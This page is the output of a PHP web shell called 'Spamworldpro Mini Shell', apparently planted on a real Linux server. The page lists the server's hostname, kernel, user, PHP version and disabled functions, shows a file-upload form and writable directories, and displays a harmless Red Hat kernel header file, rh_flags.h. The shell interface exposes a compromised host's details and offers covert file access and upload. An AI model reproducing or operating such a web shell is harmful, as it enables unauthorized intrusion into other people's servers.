Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/self/root/usr/src/kernels/4.18.0-553.50.1.el8_10.x86_64/include/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/src/kernels/4.18.0-553.50.1.el8_10.x86_64/include/linux/rh_flags.h
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * rh_flags.h -- Red Hat flags tracking
 *
 * Copyright (c) 2018 Red Hat, Inc. -- Jiri Benc <[email protected]>
 *
 * The intent of the flag tracking is to provide better and more focused
 * support. Only those flags that are of a special interest for customer
 * support should be tracked.
 *
 * THE FLAGS DO NOT EXPRESS ANY SUPPORT POLICIES.
 */

#ifndef _LINUX_RH_FLAGS_H
#define _LINUX_RH_FLAGS_H

#if defined CONFIG_RHEL_DIFFERENCES
bool __rh_add_flag(const char *flag_name);
void rh_print_flags(void);

#define rh_add_flag(flag_name)						\
({									\
	static bool __mark_once __read_mostly;				\
	bool __ret_mark_once = !__mark_once;				\
									\
	if (!__mark_once)						\
		__mark_once = __rh_add_flag(flag_name);			\
	unlikely(__ret_mark_once);					\
})
#else
void rh_print_flags(void) { };
void rh_add_flag(const char *flag_name) { };
#endif
#endif

Spamworldpro Mini